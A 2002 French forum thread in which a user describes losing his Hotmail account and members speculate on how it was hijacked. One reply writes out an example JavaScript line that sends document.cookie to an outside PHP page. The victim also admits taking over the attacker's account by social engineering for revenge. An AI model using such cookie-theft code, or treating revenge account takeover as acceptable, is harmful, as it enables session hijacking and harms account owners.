je me suis fait hacké mon compte hotmail en 2 secondes !!!

par **stefroy** » 09 Mai 2002 00:08

j'ai assisté au hackage de mon compte hotmail en 2 secondes. Le plaisantin, c'est connecté et m'a donc deconnecté du messenger msn. Puis il m'a été impossible de me reloger car le password avait été changer. Il est aussi impossible à hotmail de m'identifier à présent, il semblerait que le petit malin ai aussi modifier les infos me permettant de m'identifier aupres de hotmail. Je ne sais pas comment il a fait. Il a aussi fait la meme chose pour certains compte de certains de mes contacts. j'ai lu par ci par là que des scripts permettait de faire cela. Je ne vous pas comment il a pu faire. Cela montre bien que microsoft à encore des pb de sécurité à résoudre <IMG SRC="images/smiles/icon_frown.gif"> Si vous avez des infos , je suis curieux de comprendre ce qu'il a bin pu faire.

par **didier** » 09 Mai 2002 00:22

ps: le serveur de front de msn est un FreeBSD <IMG SRC="images/smiles/icon_wink.gif"> LOL

par **stefroy** » 09 Mai 2002 00:26

et alors ?

par **OXO90** » 09 Mai 2002 00:40

Tu es sûr de ce fait ? Je veux dire par là qu'il est facile de se connecter à Hotmail, si on connait ton mot de passe par exemple qq un qui te veux pas forcément que du bien.... J'ai rien vu comme exploit en ce moment concernant Hotmail. Le fait que le serveur frontal soit une BSD signie juste que le serveur en lui-même est difficilement hackable par une personne qui ne soit pas un crack. <IMG SRC="images/smiles/icon_wink.gif">

par **stefroy** » 09 Mai 2002 01:38

je ne vois pas comment il aurait pu avoir mon password !!! ce qui est sur c'est qu'il c'est connecté avec mon login et il m'a donc déconnécté, j'ai eu un message me signalant que j'avais été deconnecter car j'étais connecté ailleur. Ce qui m'intrigue c'est qu'il a reussi a prendre le controle d'autre compte hotmail de certains de mes contacts. Je sais qu'il n'ai pas compétent pour faire cela, mais ce que je constate c'est qu'il l'a fait. Le seul moyen que j'ai trouvé, c'est de faire une demande aupres de hotmail suite à une perte du password. il te demande de remplir un formulaire dans lequel tu d'identifie. Les elements peuvent etre facile à trouver si tu connais la personne. Hotmail te donne un nouveau mot de passe et là le tour est jouer. Mais cette opération prend du temps et lui, il a fait cela en 2 minutes à peine je l'ai vu se deconencter et 2 minutes apres j'étais deconnecté. voila ce que je peux dire. Le pb , c'est que maintenant , je ne peux plus m'identifier aupres d'hotmail, j'ai donc perdu ma liste de contact, mes mails et surtout l'accés à la communauté que je modérais sur hotmail <IMG SRC="images/smiles/icon_frown.gif">

par **gregory** » 09 Mai 2002 21:41

n'aurais tu pas laisse au hasard traine ton mot de passe ou le taper au clavier devant des"potes"? <IMG SRC="images/smiles/icon_confused.gif">

par **stefroy** » 09 Mai 2002 21:46

non , je suis sur que personne ne m'a vu le faire !!! en plus je suis en vacance là. donc pas possible de jeter un oeil par dessus mon épaule lol

par **Magistrat** » 10 Mai 2002 11:01

<TABLE BORDER=0 ALIGN=CENTER WIDTH=85%><TR><TD>En réponse à:<HR></TD></TR><TR><TD><BLOCKQUOTE> Le 2002-05-09 01:38, stefroy a écrit: je ne vois pas comment il aurait pu avoir mon password !!! Le pb , c'est que maintenant , je ne peux plus m'identifier aupres d'hotmail, j'ai donc perdu ma liste de contact, mes mails et surtout l'accés à la communauté que je modérais sur hotmail <IMG SRC="images/smiles/icon_frown.gif"> </BLOCKQUOTE></TD></TR><TR><TD><HR></TD></TR></TABLE> hum sens pas bon du tout çà....hacker freeBSD, c ptetre un gus du Fbi même.. <IMG SRC="images/smiles/icon_lol.gif"> Sinon je comprend pas > mod pour une communauté hotmail ??? Pour que le post reste utile : 1/ N'utilse pas cette daube de msn messenger et encore moins passeport qui peuvent être facilement vérolés par sniffers, backdoors et j'en passe. Concernant hotmail je suis mitigé, celui ci à connu moultes failles, mais pas en ce moment à ma connaissance. 2/ Scan intégralement ta machine via un Anti trojans mis à jour ( type TDS3 diamondcs, cleaner etc...) voir et enregistrer des frappes au clavier c plutot simple et surtout rapide.... 3/ Une autre supposition c'est effectivement pour récupérer un login utiliser le social engineering mais ca m'étonnerait, donc je penche plutot pour le detournement possible de ta session par un lien JS et un vol du cookie . Il t'a fait clicker sur un lien JS du style : [/img]< script > : location = 'http://www. multimania. com/ stefroy /recup .php ( cookie ='+ document .cookie; < /script >[img/] pour ensuite changer ton pass et les questions inhérentes au changement de celui-ci, c'est une des causes probables... Une chose est sure > ton compte est perdu, et ceux de tes contacts aussi d'ailleurs... cordialement _________________ -------------------------- Dans l'ombre de la toile

par **stefroy** » 10 Mai 2002 12:38

j'ai lu des chose sur des scripts java pour hacker hotmail. j'ai utiliser thecleaner pour verifié que je n'avais pas de bebete dans ma machine, rien de detecter. je ne penses pas avoir cliqué sur un lien , il ne m'a rien envoyé. Mais c'est possible, effectivement qu'il m'ai piqué mon cookie, mais ensuite, comment il a fait pour utiliser ce cookie. Pour moi, le social hacking , c'est possible, il aurait pu retrouver les elements me permettant de m'identifier. C'est ce que je lui ai fait pour me vanger lol mais pour mes contacts c'est assez etrange. Pour certain, c'est possible , pour d'autre j'en doute. Salutations

par **stefroy** » 10 Mai 2002 12:41

j'avais créer une communauté sur hotmail , j'étais le modérateur, j'étais reconnu comme moderateur par mon login de compte hotmail et le cookie . Maintenant, je suis un simple visiteur pour cette communauté, j'étais le seul moderateur donc je ne peux pas me réinscrire car personne ne pourra me repondre lol voila pour l'histoire du mod sur communauté hotmail

par **gregory** » 11 Mai 2002 21:31

vraiment dangereuse ton aventure comme si le hacker savait ou attendait que tu sois connecte au reseau !! peut on imaginé un autre internaute avec le mème login et mot de passe ??

par **stefroy** » 11 Mai 2002 22:03

il ne m'attendait pas , mon amie tchatait avec lui, c'était son ex, il c'est faché et il nous a deconnecté comme s'il s'était connecté avec mon login et password et ensuite, il a du modifier tous les elements de mon compte car je ne peut meme plus m'identifier aupres de hotmail, mes infos d'inscription ne corresponde plus

par **micj** » 12 Mai 2002 13:11

<TABLE BORDER=0 ALIGN=CENTER WIDTH=85%><TR><TD>En réponse à:<HR></TD></TR><TR><TD><BLOCKQUOTE> Le 2002-05-10 12:38, stefroy a écrit: Pour moi, le social hacking , c'est possible, il aurait pu retrouver les elements me permettant de m'identifier. C'est ce que je lui ai fait pour me vanger lol </BLOCKQUOTE></TD></TR><TR><TD><HR></TD></TR></TABLE> Si tu appliques ce principe, je n'ai qu'une seule chose à dire, il ne faut pas venir se plaindre Si c'est là votre seule amusement, c'est lamentable.

par **stefroy** » 12 Mai 2002 15:11

je viens pas me plaindre, lorsque j'ai créé mon compte hotmail, j'ai répondu au question qui m'était posé , sans penser que certain pourrais aussi facilement prendre le controle de mon compte. tout le monde a du faire la meme chose lorsque l'on te demande ton nom, ta date de naissance etc.... Par contre, je confirme que sa technique n'est pas du social hacking. Il vient de me repiquer un autre compte que j'avais créer apres le 1er incident. Dans ce compte les infos que j'avais indiquées était toute erronées afin de l'empecher de proceder de cette maniére. Je sais qu'il a des contacts chez Microsoft , peut etre a t'il profité de l'indiscretion de certaines personnes de chez microsoft. Voila, mon but était simplement de faire connaire l'information, tout le monde est donc exposée à cette technique, mais je ne la connais pas !!! salutations

par **Magistrat** » 14 Mai 2002 00:35

la réponse à tes interrogations > je me suis trompé, il éxiste une faille msn, et elle marche fichtrement.... [/url]http://lesnouvelles.net/afficher.php?id=252[/url] [/url]http://www.iss.net/security_center/static/8084.php[/url] rdv au à la section patch hebdomadaire $soft <IMG SRC="images/smiles/icon_rolleyes.gif">

je me suis fait hacké mon compte hotmail en 2 secondes !!!

Qui est en ligne ?